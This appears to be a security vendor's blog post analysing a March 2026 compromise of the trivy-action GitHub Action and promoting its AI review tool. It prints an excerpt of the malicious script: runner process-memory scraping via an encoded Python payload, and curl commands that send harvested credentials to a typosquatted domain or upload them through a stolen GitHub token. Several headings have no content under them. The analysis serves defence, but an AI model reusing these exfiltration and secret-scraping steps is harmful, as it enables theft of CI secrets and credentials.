Technical Analysis • March 2026

Trivy Breach: Trivy-ally Easy to Detect with NecessityWorks

How our AI-powered code review identified every indicator of the Trivy supply chain attack

What Happened

On March 19, 2026, threat actors compromised Aqua Security's trivy-action GitHub Action — a security scanner used in thousands of CI/CD pipelines. The attack, linked by researchers to a group tracked as TeamPCP, used compromised credentials to force-push 76 of 77 version tags to point to a malicious commit containing credential-stealing malware in entrypoint.sh. A malicious release (v0.69.4) was also published.

The malicious commit was crafted to appear as a routine maintenance change. The compromised tags remained active for up to 12 hours, while the malicious binary release was live for approximately 3 hours before Aqua Security intervened.

The Malicious Code

Behind the innocuous commit message, 105 lines of malicious bash and base64-encoded Python were injected before the legitimate Trivy scanner code:

# What the commit message said: "bump Trivy version"
# What the code actually did:

_COLLECT_PIDS="$$"
for _name in Runner.Worker Runner.Listener runsvc run.sh; do
  _PIDS=$(pgrep -f "$_name" 2>/dev/null || true)
done

# Read process memory to extract masked GitHub Actions secrets
PYTHON_STR='aW1wb3J0IHN5cy...'  # Base64-encoded memory scraper
MEMORY_SECRETS=$(echo -n "$PYTHON_STR" | base64 -d | sudo python3)

# Harvest SSH keys, AWS creds, K8s tokens, crypto wallets, DB passwords
# Encrypt with attacker's RSA key, exfiltrate to typosquatted domain
curl -X POST https://scan.aquasecurtiy.org --data-binary "@${_BUNDLE}"

# Fallback: create a GitHub repo using stolen PAT, upload as release
curl -X POST "${_GH_API}/user/repos" -H "$_GH_AUTH" ...

The payload was sophisticated: process memory dumping to bypass GitHub's secret masking, RSA encryption of stolen data, a typosquatted exfiltration domain (aquasecurtiy.org), and a fallback channel using the victim's own GitHub PAT to create a repo and upload stolen data as a release asset.

Why Traditional SAST Missed It

This wasn't vulnerable code. It was intentionally malicious code, well-written to evade detection. There's no CVE to match against because the code works exactly as the attacker intended. Pattern-matching scanners see valid bash. NecessityWorks’s AI specialists understand intent.

How NecessityWorks Detected It

We reconstructed the attack scenario by submitting the malicious commit's diff to NecessityWorks’s analysis pipeline — the same code changes, the same file modifications, against the clean repository state. This simulates what would have happened if NecessityWorks had been reviewing changes to trivy-action when the malicious code was introduced.

What Each Specialist Found

The Merged Finding

After deduplication, NecessityWorks delivered one comprehensive finding covering every facet of the attack. 25 raw findings from 9 specialists were consolidated into a single actionable alert with 8 corroborating CWE categories:

CWE-506 (Embedded Malicious Code) is the primary classification — intentionally malicious code planted in a trusted component. The corroborating CWEs describe the specific attack techniques: command injection for code execution, credential harvesting across filesystems and process memory, SSRF to cloud metadata endpoints, RSA-encrypted exfiltration, and anti-forensics patterns. Each CWE was independently identified by a different specialist analyzing the same code from a different security perspective.

Instead of dozens of separate noisy alerts, developers see one actionable finding that enumerates the complete kill chain — what the code does, how it exfiltrates data, and which credentials are at risk.

A note on CWE classification: CWE mapping is performed by AI specialists and may not always match a manual analyst's classification exactly. CWE categorization can be inherently subjective — the same code may reasonably be classified as CWE-78 (injection) or CWE-94 (code injection) depending on perspective. NecessityWorks prioritizes detecting the vulnerability correctly over debating taxonomy. CWE accuracy is continuously improving as our models and verification pipeline mature.

Detection Performance

Why This Matters

Supply chain attacks are the new normal

The Trivy breach wasn't an isolated incident. It followed the XZ Utils backdoor, the Codecov bash uploader compromise, and the SolarWinds attack. These attacks share a pattern: malicious code injected into trusted automation, disguised as routine maintenance, designed to evade pattern-matching scanners.

Code scanning alone isn't enough

NecessityWorks caught the malicious payload. But the broader NecessityWorks platform would have caught this attack before the code was ever written — at two earlier stages.

Three Layers of Defense

The Trivy attack exploited weak repository configuration to push malicious code using stolen credentials. NecessityWorks addresses this across three distinct layers:

How We Tested

We submitted the malicious commit's diff to NecessityWorks — the same code changes, the same file modifications, against the clean repository state. This replicates what happens when NecessityWorks monitors a repository: every code change is automatically analyzed by multiple AI security specialists before it can reach production.

NecessityWorks config assessment and NecessityWorks real-time detection coverage was validated against the known attack timeline. The configuration weaknesses that enabled the attack (missing audit streaming, unsigned tags, incomplete credential rotation) are all assessed by the NecessityWorks posture-management layer. The real-time detection rules match the exact sequence of events — bulk tag force-pushing followed by malicious release publication.